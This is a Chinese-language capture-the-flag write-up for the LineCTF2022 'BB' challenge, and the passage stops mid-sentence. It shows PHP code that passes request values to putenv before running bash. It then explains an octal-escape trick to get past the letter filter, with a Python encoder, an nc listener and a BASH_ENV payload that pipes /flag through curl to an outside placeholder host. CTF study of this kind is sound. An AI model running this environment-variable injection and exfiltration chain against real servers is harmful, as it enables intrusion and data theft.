[LineCTF2022]BB
文章目录
进去之后就是源码
<?php
error_reporting(0);
function bye($s, $ptn){
if(preg_match($ptn, $s)){ //$s中如果存在$ptn,则返回false
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) { //过滤= 过滤大小写字母
putenv("{$k}={$v}"); //定义环境变量
}
}
system("bash -c 'imdude'"); //这里执行了imdude,所以我们要对环境变量imdude进行操作
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) { //过滤=
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>
绕过preg_match,在Linux中
$'\101' = A
第一个是八进制
ord 字符转对应的ascii
oct 十进制转八进制
然后通过[2:]从第三个字符开始截取字符串
>>> oct(ord("c"))[2:]
'143'
>>> oct(ord("a"))[2:]
'141'
>>> oct(ord("t"))[2:]
'164'
所以可以根据这个生成脚本,但是要注意空格的影响,
将空格也进行修改的话,命令执行有问题
如果不对空格进行操作,那么截断处,就要重新用$''进行闭合
所以直接将所有的字符进行单个处理
环境变量注入,参考P神的文章:我是如何利用环境变量注入执行任意命令 - 跳跳糖 (tttang.com)
import string
# cmd = "cat /flag"
cmd = "cat /flag | curl -d @- http://xx.xx.xx.xx:7001"
str = ''
for i in cmd:
if i in string.ascii_lowercase:
j = oct(ord(i))[2:]
str += "$'\\"+j+"'"
else:
str+=i
print(str)
监听端口
nc -lvp 7001
GET传参
?env[BASH_ENV]=`$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://xx.xx.xx.xx:7001`
0x为16进制数字的表示
\x为16进制的字符串表示
\ 为八进制的表示
50是2的ascii码对应值
0x32是十六进制表示,转为十进制就是50
\x32表示50对应的字符串,也就是"2"
比如